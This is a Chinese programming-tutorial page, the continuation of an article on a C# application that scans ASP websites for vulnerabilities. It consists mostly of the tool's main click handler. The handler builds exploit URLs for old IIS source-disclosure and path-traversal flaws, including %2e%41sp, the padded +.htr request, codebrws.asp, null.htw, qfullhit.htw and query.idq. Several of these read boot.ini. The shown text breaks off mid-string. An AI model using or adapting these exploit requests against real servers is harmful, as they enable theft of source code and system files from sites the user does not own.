当前位置: 首页 > 图文教程 > 网络编程 > ASP.NET > 一个用c#写的扫描asp源码漏洞的应用程序(续)

ASP.NET
ASP.NET2.0向其它网页传递信息的方法
基于 pureXML 技术的数据库表结构扩展
利用缓冲技术提高JSP程序的性能和稳定性
ASP.NET常用的三十三种实用代码
用ASP.Net实现在线压缩和解压缩
编程高手 ASP.NET 状态管理
flash菜单与asp.net进行交互
ASP.NET1.1中动态树的实现
ASP.NET 设计中的 N 个技巧
基于.NET平台的分层架构实战(五)接口的设计与实现
.NET平台依赖注入机制及IoC的设计与实现
依赖注入机制及IoC的设计与实现
数据访问层的第一种实现:Access+SQL
超简单实现 .NET开发类似Web Parts的功能
剖析ASP.NET AJAX的面向对象思想
WPF自定义漂亮的按钮样式
ASP.NET中常用的26个优化性能方法
用Xaml做网页框架
从UI->DB一条龙到代码生成到EOS,谈谈快速开发
ASP.NET ViewState 初探 (1)

ASP.NET 中的 一个用c#写的扫描asp源码漏洞的应用程序(续)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-03   浏览: 134 ::
收藏到网摘: n/a

//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{

//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定义分割符为"."
char[] line = {'/'} ; //定义分割符为"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;


//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;


if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;

string strRequestFile ;

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20